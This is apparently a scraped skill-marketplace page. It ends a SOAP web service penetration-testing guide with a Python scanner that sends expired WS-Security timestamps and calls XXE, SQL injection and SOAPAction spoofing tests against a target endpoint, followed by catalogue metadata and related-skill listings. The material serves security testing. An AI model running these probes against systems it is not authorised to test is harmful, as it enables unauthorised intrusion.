xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n",{"name":5,"tags":57,"author":59,"domain":44,"license":15,"version":60,"nist_csf":61,"subdomain":50,"description":7,"mitre_attack":66},[36,43,42,41,40,39,58,38,37],"penetration-testing","mahipal","1.0",[62,63,64,65],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[67,68,69,70,71],"T1190","T1059.007","T1552.001","T1055","T1059","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-soap-web-service-security-testing",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":83,"prompt":93,"zipAvailable":94},[84,87,90],{"tool":85,"command":86},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-soap-web-service-security-testing",{"tool":88,"command":89},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-soap-web-service-security-testing",{"tool":91,"command":92},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-soap-web-service-security-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",true,[96,101,107],{"path":97,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FLICENSE",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"references\u002Fapi-reference.md","REFERENCE","参考文档",2331,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Freferences\u002Fapi-reference.md",{"path":108,"resourceType":109,"resourceTypeDesc":110,"sizeBytes":111,"sourceHtmlUrl":112},"scripts\u002Fagent.py","SCRIPT","脚本",8104,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Fscripts\u002Fagent.py",[114,141,165,190,216,242],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":123,"publishedAt":52},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[120],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[124,125,126,127,32,44,128,129,51,130,131,132,133,134,135,136,137,138,139,140],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":148,"publishedAt":52},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[147],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},[149,137,150,151,32,152,44,51,153,154,155,156,157,158,159,160,161,162,163,164],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":173,"publishedAt":52},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[171,172],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},[159,174,175,176,35,44,177,178,153,179,180,181,182,183,184,185,186,187,188,189],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":197,"publishedAt":52},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[196],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},[198,199,200,44,201,202,203,204,205,206,207,208,209,210,211,212,156,213,214,215],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":223,"publishedAt":52},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[222],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},[224,225,226,44,227,228,229,230,231,232,233,234,235,236,237,238,45,239,240,241],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":243,"name":244,"nameZh":6,"description":245,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":246,"categories":247,"keywords":249,"publishedAt":52},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[248],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},[32,250,44,251,252,253,254,255,256,257,258,185,259,186,260,261,262,263,264,265],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]